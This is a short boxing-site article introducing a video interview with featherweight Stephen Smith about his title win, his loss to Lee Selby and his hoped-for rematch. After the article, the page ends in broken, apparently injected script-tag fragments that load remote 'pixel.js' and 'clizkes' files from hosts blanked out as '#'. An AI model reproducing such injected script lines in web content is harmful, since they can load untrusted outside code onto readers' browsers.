Former British and Commonwealth featherweight champion Stephen Smith talks to BritishBoxers about winning the titles against John Simpson and then losing them against Lee Selby and how he longs for the day he meets the Welshman in a rematch to seek revenge and win back the treasured belts he lost in September 2011 via an 8th round KO on a bad night that Swifty says was down to him over training and going into the fight drained.

Since that loss to Selby the Liverpool man has come back with 3 good wins and against Ben Jones last year claimed the WBO Inter-continental belt at super featherweight and although the Selby rematch is the fight Smith wants at featherweight, he is keeping his options open and until a return with the only man to be him as a pro can be made, Smith is willing to stay at super-featherweight if a big fight can be made.

Smith, 28, and trained by Joe Gallagher, is a former commonwealth gold medalist and boasts a trophy ladened career in the unpaid ranks and although the loss to Selby set him back, he hasn’t let it distract him from his ultimate dream of first claiming back his belts and fulfilling his massive potential.

In this Q&A and interview; video above; Stephen speaks about his career, how he got into boxing, memorable gym moments and reveals to us who his current favourite British boxer is and who is his favourite boxer of all time is, plus much more..# src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>
